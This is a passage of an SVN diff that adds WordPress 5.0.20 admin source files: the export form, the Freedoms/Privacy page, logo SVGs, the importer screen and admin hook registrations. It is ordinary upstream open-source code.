+		$month = zeroise( $date->month, 2 );
+		echo '<option value="' . $date->year . '-' . $month . '">' . $wp_locale->get_month( $month ) . ' ' . $date->year . '</option>';
+	}
+}
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<p><?php _e('When you click the button below WordPress will create an XML file for you to save to your computer.'); ?></p>
+<p><?php _e('This format, which we call WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags.'); ?></p>
+<p><?php _e('Once you&#8217;ve saved the download file, you can use the Import function in another WordPress installation to import the content from this site.'); ?></p>
+
+<h2><?php _e( 'Choose what to export' ); ?></h2>
+<form method="get" id="export-filters">
+<fieldset>
+<legend class="screen-reader-text"><?php _e( 'Content to export' ); ?></legend>
+<input type="hidden" name="download" value="true" />
+<p><label><input type="radio" name="content" value="all" checked="checked" aria-describedby="all-content-desc" /> <?php _e( 'All content' ); ?></label></p>
+<p class="description" id="all-content-desc"><?php _e( 'This will contain all of your posts, pages, comments, custom fields, terms, navigation menus, and custom posts.' ); ?></p>
+
+<p><label><input type="radio" name="content" value="posts" /> <?php _e( 'Posts' ); ?></label></p>
+<ul id="post-filters" class="export-filters">
+	<li>
+		<label><span class="label-responsive"><?php _e( 'Categories:' ); ?></span>
+		<?php wp_dropdown_categories( array( 'show_option_all' => __('All') ) ); ?>
+		</label>
+	</li>
+	<li>
+		<label><span class="label-responsive"><?php _e( 'Authors:' ); ?></span>
+		<?php
+		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'post'" );
+		wp_dropdown_users( array(
+			'include' => $authors,
+			'name' => 'post_author',
+			'multi' => true,
+			'show_option_all' => __( 'All' ),
+			'show' => 'display_name_with_login',
+		) ); ?>
+		</label>
+	</li>
+	<li>
+		<fieldset>
+		<legend class="screen-reader-text"><?php _e( 'Date range:' ); ?></legend>
+		<label for="post-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
+		<select name="post_start_date" id="post-start-date">
+			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+			<?php export_date_options(); ?>
+		</select>
+		<label for="post-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
+		<select name="post_end_date" id="post-end-date">
+			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+			<?php export_date_options(); ?>
+		</select>
+		</fieldset>
+	</li>
+	<li>
+		<label for="post-status" class="label-responsive"><?php _e( 'Status:' ); ?></label>
+		<select name="post_status" id="post-status">
+			<option value="0"><?php _e( 'All' ); ?></option>
+			<?php $post_stati = get_post_stati( array( 'internal' => false ), 'objects' );
+			foreach ( $post_stati as $status ) : ?>
+			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
+			<?php endforeach; ?>
+		</select>
+	</li>
+</ul>
+
+<p><label><input type="radio" name="content" value="pages" /> <?php _e( 'Pages' ); ?></label></p>
+<ul id="page-filters" class="export-filters">
+	<li>
+		<label><span class="label-responsive"><?php _e( 'Authors:' ); ?></span>
+		<?php
+		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'page'" );
+		wp_dropdown_users( array(
+			'include' => $authors,
+			'name' => 'page_author',
+			'multi' => true,
+			'show_option_all' => __( 'All' ),
+			'show' => 'display_name_with_login',
+		) ); ?>
+		</label>
+	</li>
+	<li>
+		<fieldset>
+		<legend class="screen-reader-text"><?php _e( 'Date range:' ); ?></legend>
+		<label for="page-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
+		<select name="page_start_date" id="page-start-date">
+			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+			<?php export_date_options( 'page' ); ?>
+		</select>
+		<label for="page-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
+		<select name="page_end_date" id="page-end-date">
+			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+			<?php export_date_options( 'page' ); ?>
+		</select>
+		</fieldset>
+	</li>
+	<li>
+		<label for="page-status" class="label-responsive"><?php _e( 'Status:' ); ?></label>
+		<select name="page_status" id="page-status">
+			<option value="0"><?php _e( 'All' ); ?></option>
+			<?php foreach ( $post_stati as $status ) : ?>
+			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
+			<?php endforeach; ?>
+		</select>
+	</li>
+</ul>
+
+<?php foreach ( get_post_types( array( '_builtin' => false, 'can_export' => true ), 'objects' ) as $post_type ) : ?>
+<p><label><input type="radio" name="content" value="<?php echo esc_attr( $post_type->name ); ?>" /> <?php echo esc_html( $post_type->label ); ?></label></p>
+<?php endforeach; ?>
+
+<p><label><input type="radio" name="content" value="attachment" /> <?php _e( 'Media' ); ?></label></p>
+<ul id="attachment-filters" class="export-filters">
+	<li>
+		<fieldset>
+		<legend class="screen-reader-text"><?php _e( 'Date range:' ); ?></legend>
+		<label for="attachment-start-date" class="label-responsive"><?php _e( 'Start date:' ); ?></label>
+		<select name="attachment_start_date" id="attachment-start-date">
+			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+			<?php export_date_options( 'attachment' ); ?>
+		</select>
+		<label for="attachment-end-date" class="label-responsive"><?php _e( 'End date:' ); ?></label>
+		<select name="attachment_end_date" id="attachment-end-date">
+			<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
+			<?php export_date_options( 'attachment' ); ?>
+		</select>
+		</fieldset>
+	</li>
+</ul>
+
+</fieldset>
+<?php
+/**
+ * Fires at the end of the export filters form.
+ *
+ * @since 3.5.0
+ */
+do_action( 'export_filters' );
+?>
+
+<?php submit_button( __('Download Export File') ); ?>
+</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/freedoms.php
===================================================================
--- /tags/5.0.20/src/wp-admin/freedoms.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/freedoms.php	(revision 56912)
@@ -0,0 +1,96 @@
+<?php
+/**
+ * Your Rights administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$title = __( 'Freedoms' );
+
+list( $display_version ) = explode( '-', get_bloginfo( 'version' ) );
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+
+$is_privacy_notice = isset( $_GET['privacy-notice'] );
+
+?>
+<div class="wrap about-wrap full-width-layout">
+
+<h1><?php printf( __( 'Welcome to WordPress %s' ), $display_version ); ?></h1>
+
+<p class="about-text"><?php printf( __( 'Thank you for updating to the latest version! WordPress %s introduces a robust new content creation experience.' ), $display_version ); ?></p>
+
+<div class="wp-badge"><?php printf( __( 'Version %s' ), $display_version ); ?></div>
+
+<h2 class="nav-tab-wrapper wp-clearfix">
+	<a href="about.php" class="nav-tab"><?php _e( 'What&#8217;s New' ); ?></a>
+	<a href="credits.php" class="nav-tab"><?php _e( 'Credits' ); ?></a>
+	<a href="freedoms.php" class="nav-tab<?php if ( ! $is_privacy_notice ) { echo ' nav-tab-active'; } ?>"><?php _e( 'Freedoms' ); ?></a>
+	<a href="freedoms.php?privacy-notice" class="nav-tab<?php if ( $is_privacy_notice ) { echo ' nav-tab-active'; } ?>"><?php _e( 'Privacy' ); ?></a>
+</h2>
+
+<?php if ( $is_privacy_notice ) : ?>
+
+<div class="about-wrap-content">
+	<p class="about-description"><?php _e( 'From time to time, your WordPress site may send data to WordPress.org &#8212; including, but not limited to &#8212; the version of WordPress you are using, and a list of installed plugins and themes.' ); ?></p>
+
+	<p><?php printf( __( 'This data is used to provide general enhancements to WordPress, which includes helping to protect your site by finding and automatically installing new updates. It is also used to calculate statistics, such as those shown on the <a href="%s">WordPress.org stats page</a>.' ), 'https://wordpress.org/about/stats/' ); ?></p>
+
+	<p><?php printf( __( 'We take privacy and transparency very seriously. To learn more about what data we collect, and how we use it, please visit <a href="%s">WordPress.org/about/privacy</a>.' ), 'https://wordpress.org/about/privacy/' ); ?></p>
+</div>
+
+<?php else : ?>
+<div class="about-wrap-content">
+	<div class="feature-section one-col">
+		<div class="col">
+			<h2><?php _e( 'Freedoms' ); ?></h2>
+			<p class="about-description"><?php printf( __( 'WordPress is Free and open source software, built by a distributed community of mostly volunteer developers from around the world. WordPress comes with some awesome, worldview-changing rights courtesy of its <a href="%s">license</a>, the GPL.' ), 'https://wordpress.org/about/license/' ); ?></p>
+		</div>
+	</div>
+
+	<div class="feature-section four-col">
+		<div class="col">
+			<div class="freedoms-image"></div>
+			<h3><?php _e( 'The 1st Freedom' ); ?></h3>
+			<p><?php _e( 'To run the program for any purpose.' ); ?></p>
+		</div>
+		<div class="col">
+			<div class="freedoms-image"></div>
+			<h3><?php _e( 'The 2nd Freedom' ); ?></h3>
+			<p><?php _e( 'To study how the program works and change it to make it do what you wish.' ); ?></p>
+		</div>
+		<div class="col">
+			<div class="freedoms-image"></div>
+			<h3><?php _e( 'The 3rd Freedom' ); ?></h3>
+			<p><?php _e( 'To redistribute.' ); ?></p>
+		</div>
+		<div class="col">
+			<div class="freedoms-image"></div>
+			<h3><?php _e( 'The 4th Freedom' ); ?></h3>
+			<p><?php _e( 'To distribute copies of your modified versions to others.' ); ?></p>
+		</div>
+	</div>
+
+	<div class="feature-section one-col">
+		<div class="col">
+			<p><?php printf( __( 'WordPress grows when people like you tell their friends about it, and the thousands of businesses and services that are built on and around WordPress share that fact with their users. We&#8217;re flattered every time someone spreads the good word, just make sure to <a href="%s">check out our trademark guidelines</a> first.' ), 'https://wordpressfoundation.org/trademark-policy/' ); ?></p>
+
+			<p><?php
+
+			$plugins_url = current_user_can( 'activate_plugins' ) ? admin_url( 'plugins.php' ) : __( 'https://wordpress.org/plugins/' );
+			$themes_url = current_user_can( 'switch_themes' ) ? admin_url( 'themes.php' ) : __( 'https://wordpress.org/themes/' );
+
+			printf( __( 'Every plugin and theme in WordPress.org&#8217;s directory is 100%% GPL or a similarly free and compatible license, so you can feel safe finding <a href="%1$s">plugins</a> and <a href="%2$s">themes</a> there. If you get a plugin or theme from another source, make sure to <a href="%3$s">ask them if it&#8217;s GPL</a> first. If they don&#8217;t respect the WordPress license, we don&#8217;t recommend them.' ), $plugins_url, $themes_url, 'https://wordpress.org/about/license/' ); ?></p>
+
+			<p><?php _e( 'Don&#8217;t you wish all software came with these freedoms? So do we! For more information, check out the <a href="https://www.fsf.org/">Free Software Foundation</a>.' ); ?></p>
+		</div>
+	</div>
+</div>
+
+<?php endif; ?>
+</div>
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/images/wordpress-logo-white.svg
===================================================================
--- /tags/5.0.20/src/wp-admin/images/wordpress-logo-white.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/images/wordpress-logo-white.svg	(revision 56912)
@@ -0,0 +1,1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="80" height="80"><g fill="none"><g fill="#fff"><g><path d="M40 2.48c5.07 0 9.98 1 14.6 2.94 2.23.94 4.37 2.1 6.38 3.46 2 1.35 3.86 2.9 5.55 4.6 1.7 1.68 3.24 3.55 4.6 5.54 1.34 2 2.5 4.15 3.45 6.37 1.95 4.62 2.94 9.53 2.94 14.6s-1 9.98-2.94 14.6c-.94 2.23-2.1 4.37-3.46 6.38-1.35 2-2.9 3.86-4.6 5.55-1.68 1.7-3.55 3.24-5.54 4.6-2 1.34-4.15 2.5-6.37 3.45-4.62 1.95-9.53 2.94-14.6 2.94s-9.98-1-14.6-2.94c-2.23-.94-4.37-2.1-6.38-3.46-2-1.35-3.86-2.9-5.55-4.6-1.7-1.68-3.24-3.55-4.6-5.54-1.34-2-2.5-4.15-3.45-6.37C3.47 50 2.48 45.08 2.48 40s1-9.98 2.94-14.6c.94-2.23 2.1-4.37 3.46-6.38 1.35-2 2.9-3.86 4.6-5.55 1.68-1.7 3.55-3.24 5.54-4.6 2-1.34 4.15-2.5 6.37-3.45C30 3.47 34.92 2.48 40 2.48m0-2.4C17.95.08.08 17.95.08 40S17.95 79.92 40 79.92 79.92 62.05 79.92 40 62.05.08 40 .08"/><path d="M6.73 40c0 13.17 7.65 24.55 18.75 29.94L9.6 26.46C7.78 30.6 6.74 35.18 6.74 40zm55.73-1.68c0-4.1-1.48-6.96-2.74-9.17-1.7-2.74-3.27-5.06-3.27-7.8 0-3.06 2.32-5.9 5.58-5.9.15 0 .3 0 .43.02-5.9-5.43-13.8-8.74-22.46-8.74-11.62 0-21.85 5.97-27.8 15 .8.02 1.52.04 2.15.04 3.47 0 8.86-.43 8.86-.43 1.8-.1 2.02 2.53.22 2.75 0 0-1.8.2-3.8.3l12.1 36.04 7.3-21.84-5.2-14.2c-1.78-.1-3.48-.3-3.48-.3-1.8-.12-1.58-2.86.2-2.76 0 0 5.5.43 8.77.43 3.5 0 8.88-.43 8.88-.43 1.8-.1 2 2.53.2 2.75 0 0-1.8.2-3.8.3l12.03 35.76 3.44-10.87c1.52-4.77 2.42-8.13 2.42-10.98zm-21.88 4.6l-9.98 29c2.98.87 6.13 1.35 9.4 1.35 3.87 0 7.6-.67 11.05-1.9-.1-.13-.17-.28-.24-.45l-10.22-28zm28.6-18.88c.16 1.06.24 2.2.24 3.42 0 3.37-.64 7.17-2.53 11.92L56.72 68.75C66.63 63 73.27 52.27 73.27 40c0-5.8-1.48-11.22-4.08-15.96z"/></g></g></g></svg>
Index: /tags/5.0.20/src/wp-admin/images/wordpress-logo.svg
===================================================================
--- /tags/5.0.20/src/wp-admin/images/wordpress-logo.svg	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/images/wordpress-logo.svg	(revision 56912)
@@ -0,0 +1,1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="64px" height="64px" viewBox="0 0 64 64" enable-background="new 0 0 64 64" xml:space="preserve"><style>.style0{fill:	#0073aa;}</style><g><g><path d="M4.548 31.999c0 10.9 6.3 20.3 15.5 24.706L6.925 20.827C5.402 24.2 4.5 28 4.5 31.999z M50.531 30.614c0-3.394-1.219-5.742-2.264-7.57c-1.391-2.263-2.695-4.177-2.695-6.439c0-2.523 1.912-4.872 4.609-4.872 c0.121 0 0.2 0 0.4 0.022C45.653 7.3 39.1 4.5 32 4.548c-9.591 0-18.027 4.921-22.936 12.4 c0.645 0 1.3 0 1.8 0.033c2.871 0 7.316-0.349 7.316-0.349c1.479-0.086 1.7 2.1 0.2 2.3 c0 0-1.487 0.174-3.142 0.261l9.997 29.735l6.008-18.017l-4.276-11.718c-1.479-0.087-2.879-0.261-2.879-0.261 c-1.48-0.087-1.306-2.349 0.174-2.262c0 0 4.5 0.3 7.2 0.349c2.87 0 7.317-0.349 7.317-0.349 c1.479-0.086 1.7 2.1 0.2 2.262c0 0-1.489 0.174-3.142 0.261l9.92 29.508l2.739-9.148 C49.628 35.7 50.5 33 50.5 30.614z M32.481 34.4l-8.237 23.934c2.46 0.7 5.1 1.1 7.8 1.1 c3.197 0 6.262-0.552 9.116-1.556c-0.072-0.118-0.141-0.243-0.196-0.379L32.481 34.4z M56.088 18.8 c0.119 0.9 0.2 1.8 0.2 2.823c0 2.785-0.521 5.916-2.088 9.832l-8.385 24.242c8.161-4.758 13.65-13.6 13.65-23.728 C59.451 27.2 58.2 22.7 56.1 18.83z M32 0c-17.645 0-32 14.355-32 32C0 49.6 14.4 64 32 64s32-14.355 32-32.001 C64 14.4 49.6 0 32 0z M32 62.533c-16.835 0-30.533-13.698-30.533-30.534C1.467 15.2 15.2 1.5 32 1.5 s30.534 13.7 30.5 30.532C62.533 48.8 48.8 62.5 32 62.533z" class="style0"/></g></g></svg>
Index: /tags/5.0.20/src/wp-admin/import.php
===================================================================
--- /tags/5.0.20/src/wp-admin/import.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/import.php	(revision 56912)
@@ -0,0 +1,206 @@
+<?php
+/**
+ * Import WordPress Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+define('WP_LOAD_IMPORTERS', true);
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'import' ) ) {
+	wp_die( __( 'Sorry, you are not allowed to import content.' ) );
+}
+
+$title = __('Import');
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform.') . '</p>' .
+		'<p>' . __('In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Tools_Import_Screen">Documentation on Import</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+if ( current_user_can( 'install_plugins' ) ) {
+	// List of popular importer plugins from the WordPress.org API.
+	$popular_importers = wp_get_popular_importers();
+} else {
+ 	$popular_importers = array();
+}
+
+// Detect and redirect invalid importers like 'movabletype', which is registered as 'mt'
+if ( ! empty( $_GET['invalid'] ) && isset( $popular_importers[ $_GET['invalid'] ] ) ) {
+	$importer_id = $popular_importers[ $_GET['invalid'] ]['importer-id'];
+	if ( $importer_id != $_GET['invalid'] ) { // Prevent redirect loops.
+		wp_redirect( admin_url( 'admin.php?import=' . $importer_id ) );
+		exit;
+	}
+	unset( $importer_id );
+}
+
+add_thickbox();
+wp_enqueue_script( 'plugin-install' );
+wp_enqueue_script( 'updates' );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+$parent_file = 'tools.php';
+?>
+
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+<?php if ( ! empty( $_GET['invalid'] ) ) : ?>
+	<div class="error">
+		<p><strong><?php _e( 'ERROR:' ); ?></strong> <?php
+			/* translators: %s: importer slug */
+			printf( __( 'The %s importer is invalid or is not installed.' ), '<strong>' . esc_html( $_GET['invalid'] ) . '</strong>' );
+		?></p>
+	</div>
+<?php endif; ?>
+<p><?php _e('If you have posts or comments in another system, WordPress can import those into this site. To get started, choose a system to import from below:'); ?></p>
+
+<?php
+// Registered (already installed) importers. They're stored in the global $wp_importers.
+$importers = get_importers();
+
+// If a popular importer is not registered, create a dummy registration that links to the plugin installer.
+foreach ( $popular_importers as $pop_importer => $pop_data ) {
+	if ( isset( $importers[ $pop_importer ] ) )
+		continue;
+	if ( isset( $importers[ $pop_data['importer-id'] ] ) )
+		continue;
+
+	// Fill the array of registered (already installed) importers with data of the popular importers from the WordPress.org API.
+	$importers[ $pop_data['importer-id'] ] = array( $pop_data['name'], $pop_data['description'], 'install' => $pop_data['plugin-slug'] );
+}
+
+if ( empty( $importers ) ) {
+	echo '<p>' . __('No importers are available.') . '</p>'; // TODO: make more helpful
+} else {
+	uasort( $importers, '_usort_by_first_member' );
+?>
+<table class="widefat importers striped">
+
+	<?php
+	foreach ( $importers as $importer_id => $data ) {
+		$plugin_slug = $action = '';
+		$is_plugin_installed = false;
+
+		if ( isset( $data['install'] ) ) {
+			$plugin_slug = $data['install'];
+
+			if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_slug ) ) {
+				// Looks like an importer is installed, but not active.
+				$plugins = get_plugins( '/' . $plugin_slug );
+				if ( ! empty( $plugins ) ) {
+					$keys = array_keys( $plugins );
+					$plugin_file = $plugin_slug . '/' . $keys[0];
+					$url = wp_nonce_url( add_query_arg( array(
+						'action' => 'activate',
+						'plugin' => $plugin_file,
+						'from'   => 'import',
+					), admin_url( 'plugins.php' ) ), 'activate-plugin_' . $plugin_file );
+					$action = sprintf(
+						'<a href="%s" aria-label="%s">%s</a>',
+						esc_url( $url ),
+						/* translators: %s: Importer name */
+						esc_attr( sprintf( __( 'Run %s' ), $data[0] ) ),
+						__( 'Run Importer' )
+					);
+
+					$is_plugin_installed = true;
+				}
+			}
+
+			if ( empty( $action ) ) {
+				if ( is_main_site() ) {
+					$url = wp_nonce_url( add_query_arg( array(
+						'action' => 'install-plugin',
+						'plugin' => $plugin_slug,
+						'from'   => 'import',
+					), self_admin_url( 'update.php' ) ), 'install-plugin_' . $plugin_slug );
+					$action = sprintf(
+						'<a href="%1$s" class="install-now" data-slug="%2$s" data-name="%3$s" aria-label="%4$s">%5$s</a>',
+						esc_url( $url ),
+						esc_attr( $plugin_slug ),
+						esc_attr( $data[0] ),
+						/* translators: %s: Importer name */
+						esc_attr( sprintf( __( 'Install %s' ), $data[0] ) ),
+						__( 'Install Now' )
+					);
+				} else {
+					$action = sprintf(
+						/* translators: URL to wp-admin/import.php */
+						__( 'This importer is not installed. Please install importers from <a href="%s">the main site</a>.' ),
+						get_admin_url( get_current_network_id(), 'import.php' )
+					);
+				}
+			}
+		} else {
+			$url = add_query_arg( array(
+				'import' => $importer_id,
+			), self_admin_url( 'admin.php' ) );
+			$action = sprintf(
+				'<a href="%1$s" aria-label="%2$s">%3$s</a>',
+				esc_url( $url ),
+				/* translators: %s: Importer name */
+				esc_attr( sprintf( __( 'Run %s' ), $data[0] ) ),
+				__( 'Run Importer' )
+			);
+
+			$is_plugin_installed = true;
+		}
+
+		if ( ! $is_plugin_installed && is_main_site() ) {
+			$url = add_query_arg( array(
+				'tab'       => 'plugin-information',
+				'plugin'    => $plugin_slug,
+				'from'      => 'import',
+				'TB_iframe' => 'true',
+				'width'     => 600,
+				'height'    => 550,
+			), network_admin_url( 'plugin-install.php' ) );
+			$action .= sprintf(
+				' | <a href="%1$s" class="thickbox open-plugin-details-modal" aria-label="%2$s">%3$s</a>',
+				esc_url( $url ),
+				/* translators: %s: Importer name */
+				esc_attr( sprintf( __( 'More information about %s' ), $data[0] ) ),
+				__( 'Details' )
+			);
+		}
+
+		echo "
+			<tr class='importer-item'>
+				<td class='import-system'>
+					<span class='importer-title'>{$data[0]}</span>
+					<span class='importer-action'>{$action}</span>
+				</td>
+				<td class='desc'>
+					<span class='importer-desc'>{$data[1]}</span>
+				</td>
+			</tr>";
+	}
+	?>
+</table>
+<?php
+}
+
+if ( current_user_can('install_plugins') )
+	echo '<p>' . sprintf( __('If the importer you need is not listed, <a href="%s">search the plugin directory</a> to see if an importer is available.'), esc_url( network_admin_url( 'plugin-install.php?tab=search&type=tag&s=importer' ) ) ) . '</p>';
+?>
+
+</div>
+
+<?php
+wp_print_request_filesystem_credentials_modal();
+wp_print_admin_notice_templates();
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/includes/admin-filters.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/admin-filters.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/admin-filters.php	(revision 56912)
@@ -0,0 +1,158 @@
+<?php
+/**
+ * Administration API: Default admin hooks
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.3.0
+ */
+
+// Bookmark hooks.
+add_action( 'admin_page_access_denied', 'wp_link_manager_disabled_message' );
+
+// Dashboard hooks.
+add_action( 'activity_box_end', 'wp_dashboard_quota' );
+
+// Media hooks.
+add_action( 'attachment_submitbox_misc_actions', 'attachment_submitbox_metadata' );
+
+add_action( 'media_upload_image', 'wp_media_upload_handler' );
+add_action( 'media_upload_audio', 'wp_media_upload_handler' );
+add_action( 'media_upload_video', 'wp_media_upload_handler' );
+add_action( 'media_upload_file',  'wp_media_upload_handler' );
+
+add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );
+
+add_action( 'post-html-upload-ui', 'media_upload_html_bypass'  );
+
+add_filter( 'async_upload_image', 'get_media_item', 10, 2 );
+add_filter( 'async_upload_audio', 'get_media_item', 10, 2 );
+add_filter( 'async_upload_video', 'get_media_item', 10, 2 );
+add_filter( 'async_upload_file',  'get_media_item', 10, 2 );
+
+add_filter( 'attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2 );
+
+add_filter( 'media_upload_gallery', 'media_upload_gallery' );
+add_filter( 'media_upload_library', 'media_upload_library' );
+
+add_filter( 'media_upload_tabs', 'update_gallery_tab' );
+
+// Misc hooks.
+add_action( 'admin_init', 'wp_admin_headers'         );
+add_action( 'login_init', 'wp_admin_headers'         );
+add_action( 'admin_head', 'wp_admin_canonical_url'   );
+add_action( 'admin_head', 'wp_color_scheme_settings' );
+add_action( 'admin_head', 'wp_site_icon'             );
+add_action( 'admin_head', '_ipad_meta'               );
+
+// Privacy tools
+add_action( 'admin_menu', '_wp_privacy_hook_requests_page' );
+add_action( 'load-tools_page_export_personal_data', '_wp_privacy_requests_screen_options' );
+add_action( 'load-tools_page_remove_personal_data', '_wp_privacy_requests_screen_options' );
+
+// Prerendering.
+if ( ! is_customize_preview() ) {
+	add_filter( 'admin_print_styles', 'wp_resource_hints', 1 );
+}
+
+add_action( 'admin_print_scripts-post.php',     'wp_page_reload_on_back_button_js' );
+add_action( 'admin_print_scripts-post-new.php', 'wp_page_reload_on_back_button_js' );
+
+add_action( 'update_option_home',          'update_home_siteurl', 10, 2 );
+add_action( 'update_option_siteurl',       'update_home_siteurl', 10, 2 );
+add_action( 'update_option_page_on_front', 'update_home_siteurl', 10, 2 );
+add_action( 'update_option_admin_email',   'wp_site_admin_email_change_notification', 10, 3 );
+
+add_action( 'add_option_new_admin_email',    'update_option_new_admin_email', 10, 2 );
+add_action( 'update_option_new_admin_email', 'update_option_new_admin_email', 10, 2 );
+
+add_filter( 'heartbeat_received', 'wp_check_locked_posts',  10,  3 );
+add_filter( 'heartbeat_received', 'wp_refresh_post_lock',   10,  3 );
+add_filter( 'heartbeat_received', 'heartbeat_autosave',     500, 2 );
+
+add_filter( 'wp_refresh_nonces', 'wp_refresh_post_nonces', 10, 3 );
+add_filter( 'wp_refresh_nonces', 'wp_refresh_heartbeat_nonces' );
+
+add_filter( 'heartbeat_settings', 'wp_heartbeat_set_suspension' );
+
+// Nav Menu hooks.
+add_action( 'admin_head-nav-menus.php', '_wp_delete_orphaned_draft_menu_items' );
+
+// Plugin hooks.
+add_filter( 'whitelist_options', 'option_update_filter' );
+
+// Plugin Install hooks.
+add_action( 'install_plugins_featured',               'install_dashboard' );
+add_action( 'install_plugins_upload',                 'install_plugins_upload' );
+add_action( 'install_plugins_search',                 'display_plugins_table' );
+add_action( 'install_plugins_popular',                'display_plugins_table' );
+add_action( 'install_plugins_recommended',            'display_plugins_table' );
+add_action( 'install_plugins_new',                    'display_plugins_table' );
+add_action( 'install_plugins_beta',                   'display_plugins_table' );
+add_action( 'install_plugins_favorites',              'display_plugins_table' );
+add_action( 'install_plugins_pre_plugin-information', 'install_plugin_information' );
+
+// Template hooks.
+add_action( 'admin_enqueue_scripts', array( 'WP_Internal_Pointers', 'enqueue_scripts'                ) );
+add_action( 'user_register',         array( 'WP_Internal_Pointers', 'dismiss_pointers_for_new_users' ) );
+
+// Theme hooks.
+add_action( 'customize_controls_print_footer_scripts', 'customize_themes_print_templates' );
+
+// Theme Install hooks.
+// add_action('install_themes_dashboard', 'install_themes_dashboard');
+// add_action('install_themes_upload', 'install_themes_upload', 10, 0);
+// add_action('install_themes_search', 'display_themes');
+// add_action('install_themes_featured', 'display_themes');
+// add_action('install_themes_new', 'display_themes');
+// add_action('install_themes_updated', 'display_themes');
+add_action( 'install_themes_pre_theme-information', 'install_theme_information' );
+
+// User hooks.
+add_action( 'admin_init', 'default_password_nag_handler' );
+
+add_action( 'admin_notices', 'default_password_nag' );
+add_action( 'admin_notices', 'new_user_email_admin_notice' );
+
+add_action( 'profile_update', 'default_password_nag_edit_user', 10, 2 );
+
+add_action( 'personal_options_update', 'send_confirmation_on_profile_email' );
+
+// Update hooks.
+add_action( 'load-plugins.php', 'wp_plugin_update_rows', 20 ); // After wp_update_plugins() is called.
+add_action( 'load-themes.php', 'wp_theme_update_rows', 20 ); // After wp_update_themes() is called.
+
+add_action( 'admin_notices', 'update_nag',      3  );
+add_action( 'admin_notices', 'maintenance_nag', 10 );
+
+add_filter( 'update_footer', 'core_update_footer' );
+
+// Update Core hooks.
+add_action( '_core_updated_successfully', '_redirect_to_about_wordpress' );
+
+// Upgrade hooks.
+add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
+add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
+add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
+add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );
+
+// Privacy hooks
+add_filter( 'wp_privacy_personal_data_erasure_page', 'wp_privacy_process_personal_data_erasure_page', 10, 5 );
+add_filter( 'wp_privacy_personal_data_export_page', 'wp_privacy_process_personal_data_export_page', 10, 7 );
+add_action( 'wp_privacy_personal_data_export_file', 'wp_privacy_generate_personal_data_export_file', 10 );
+add_action( 'wp_privacy_personal_data_erased', '_wp_privacy_send_erasure_fulfillment_notification', 10 );
+
+// Privacy policy text changes check.
+add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'text_change_check' ), 100 );
+
+// Show a "postbox" with the text suggestions for a privacy policy.
+add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'notice' ) );
+
+// Add the suggested policy text from WordPress.
+add_action( 'admin_init', array( 'WP_Privacy_Policy_Content', 'add_suggested_content' ), 1 );
+
+// Update the cached policy info when the policy page is updated.
+add_action( 'post_updated', array( 'WP_Privacy_Policy_Content', '_policy_page_updated' ) );
+
+// Append '(Draft)' to draft page titles in the privacy page dropdown.
